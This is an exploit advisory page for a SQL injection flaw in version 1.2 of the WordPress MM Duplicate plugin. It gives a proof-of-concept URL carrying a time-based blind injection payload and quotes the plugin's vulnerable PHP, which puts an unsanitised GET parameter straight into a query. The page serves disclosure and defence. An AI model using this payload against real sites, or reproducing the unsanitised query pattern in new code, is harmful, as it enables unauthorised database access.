WordPress MM Duplicate 1.2 SQL Injection

2011.08.24
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Exploit Title: WordPress MM Duplicate plugin <= 1.2 SQL Injection Vulnerability # Date: 2011-08-22 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/mm-duplicate.zip # Version: 1.2 (tested) --- PoC --- http://www.site.com/index.php?duplicate=1&post=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) --------------- Vulnerable code --------------- class mm_duplicate_pages_posts { ... function mm_duplicate_pages_posts() { ... add_action('init', array(&$this, 'dup')); ... } function dup() { if($_GET['duplicate']) { $id = $_GET['post']; $dup = new mm_duplicate(); ... $dup->duplicate_post_page($id); } } ... } class mm_duplicate { function duplicate_post_page($id) { ... $select = "select * from ".$wpdb->prefix."postmeta where post_id = $id"; ... } ... }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top